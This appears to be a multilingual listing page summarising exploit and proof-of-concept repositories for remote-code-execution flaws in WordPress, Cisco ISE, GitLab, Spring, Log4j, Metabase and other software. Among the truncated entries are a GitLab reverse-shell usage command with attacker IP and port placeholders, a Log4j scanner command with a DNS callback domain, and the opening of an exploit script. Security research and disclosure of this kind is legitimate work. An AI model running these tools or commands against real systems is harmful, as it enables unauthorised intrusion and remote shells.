CVE-2024-29943

CVE-2024-29943 Un bug JIT di SpiderMonkey a Pwn2Own: dall'incoerenza dell'intervallo intero all'eliminazione del controllo dei limiti fino alla RCE. Riproduzione di CVE-2024-29943 per Windows, basata su https://github.com/bjrjk/CVE-2024-29943 Modifiche L'exploit originale è scritto per Linux,...

CVE-2023-38646

Metabase RCE pre-autenticazione CVE-2023-38646 PoC Questo è uno script Python che sfrutta la vulnerabilità di esecuzione di codice remoto del software di login di Metabase. Permette di eseguire comandi arbitrari sul server prima dell'autenticazione. Le versioni vulnerabili sono Metabase open sour...

RCE

CVE-2022-31814 Bug di WebApp root@kitploit: import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

CVE-2025-54322-exploit

CVE-2025-54322: Exploit RCE pre-autenticazione per XSpeeder SXZOS Un exploit Proof-of-Concept PoC professionale per CVE-2025-54322 , una vulnerabilità critica di esecuzione remota di codice pre-autenticazione nel firmware XSpeeder SXZOS. Questa vulnerabilità è stata scoperta e divulgata dall'agen...

log4j

log4j Uno scanner automatico ed estensivo degli header per il rilevamento di log4j RCE CVE-2021-44228 Utilizzo root@kitploit: $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

React2Shell-Scanner

Verificatore di Vulnerabilità CVE-2025-55182 e CVE-2025-66478 Uno strumento di rilevamento non intrusivo per identificare implementazioni vulnerabili di React Server Components RSC interessate da CVE-2025-55182 React e CVE-2025-66478 Next.js. Questo strumento esegue un rilevamento attivo...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5 🚀 Erste Schritte 1. Lade den Verteilungscode von https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip herunter und entpacke ihn. 2. Führe docker compose up --build aus, um die verwundbar...

drupalgeddon2

Drupalgeddon 2 MSF-Exploit-Modul für Drupalgeddon 2 CVE-2018-7600 / SA-CORE-2018-002 Drupal vor 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 erlaubt es entfernten Angreifern, beliebigen Code auszuführen, aufgrund eines Problems, das mehrere Subsysteme mit standardmäßigen oder üblichen...

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 शोषण उपकरण 🚀 विवरण 📝 यह उपकरण 🛠️ WordPress के लिए Bricks Builder प्लगइन में पाई गई CVE-2024-25600 भेद्यता 🕳️ का शोषण करने के लिए डिज़ाइन किया गया है। यह भेद्यता प्रभावित वेबसाइटों 💻 पर अप्रमाणित दूरस्थ कोड निष्पादन की अनुमति देती है। यह उपकरण nonce प्राप्त करके और मनमाने आदेशों को...

CVE-2018-16763

CVE 2018-16763 Exploit Introduzione PreAuth-RCE su FUEL CMS 1.4.1 Demo Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

Wp2Shell

wp2shell Esecuzione remota di codice pre-autenticazione nel core di WordPress. CVE-2026-60137 SQL Injection in WPQuery in combinazione con CVE-2026-63030 REST API Batch Route Confusion. Solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Versioni interessate Le versioni di WordPres...

staystaystay

staystaystay staystaystay is a proof of concept exploit for CVE-2021-1585, a man in the middle or evil endpoint RCE issue affecting Cisco ASA Device Manager ASDM. The issue was originally discovered by Malcolm Lashley and disclosed in the summer of 2021. However, at the time I was looking at this...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Exploit de RCE não autenticado na API ERS do Cisco ISE Este repositório contém um exploit de prova de conceito em Python 3 para CVE-2025-20281 , uma vulnerabilidade crítica no Cisco Identity Services Engine ISE que permite execução remota de código RCE não autenticada como root p...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Utilizzo root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Crediti https://hackerone.com/reports/1154542 Frammento di codice riferito da: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...

CVE-2023-27216

CVE-2023-27216 - Router DLink Questo documento è la mia esperienza personale in qualità di principiante nel reversing e nello sfruttamento di firmware. Scopo A scopo dimostrativo, analizzeremo e riprodurremo CVE-2023-27216. Numero CVE: CVE-2023-27216 Descrizione della vulnerabilità: Un problema...

strutt-cve-2014-0114

CVE-2014-0114 - Schwachstelle in Struts 1 Parameter in einer POST- oder GET-Request werden als Eigenschaften Properties behandelt, die ausgehend vom Formular gesetzt werden sollen. Parameter können ein Pfad zu einem verschachtelten Objekt sein. Apache Struts 1.x kann manipuliert werden, um getCla...

cve-2020-28653-poc

Proof of Concept per Manage Engine OpManager CVE-2020-28653 Questo proof of concept rileva se un'istanza di Manage Engine OpManager è vulnerabile a CVE-2020-28653. Il rilevamento viene effettuato inviando una richiesta contenente il payload serializzato all'istanza. Quando il payload viene...

cobaltstrike_swing_xss2rce

Questo repository non contiene un README...

CVE-2023-32571-POC

Dynamische Linq-Injection zu RCE - CVE-2023-32571 Über Dynamic Linq-Injection zu RCE CVE-2023-32571 Kürzlich entdeckten Mitglieder der NCC Group eine Schwachstelle in Dynamic Linq, die es Angreifern ermöglicht, C-Funktionen über eine Linq-Injection aufzurufen und so eine RCE zu erreichen. Trotz d...

spring-rec-demo

spring-rec-demo Il codice demo che mostra la recente RCE Spring4Shell CVE-2022-22965 spiegata nel blog tecnico di Datawiza: https://www.datawiza.com/blog/technical/understanding-spring4shell-rce-from-an-engineers-perspective/...